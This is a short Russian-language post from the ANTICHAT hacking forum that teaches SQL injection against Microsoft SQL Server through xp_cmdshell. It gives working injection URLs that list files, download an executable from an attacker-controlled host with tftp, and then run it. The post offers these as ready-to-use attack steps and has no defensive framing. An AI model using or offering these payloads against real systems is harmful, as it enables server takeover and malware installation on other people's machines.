ANTICHAT - Показать сообщение отдельно - Провидение Иньекций в MSSQL сервер от Microsoft.

Тема которую почти никогда не затрагивают в статьях про MSSQL сервер от Microsoft.
При наличии соответствующих прав, хакер может выполнить произвольную команду.
Вот пример:

Код:

http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'dir'--

Выводим список файлов и под-папок из текущей папки

Также можно залить любой файл на уязвимый сервер

Код:

http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'tftp –i 127.0.0.1 get file.exe'--

127.0.0.1 - это сервер на котором лежит наш file.exe
и выполнить его

Код:

http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'file.exe'--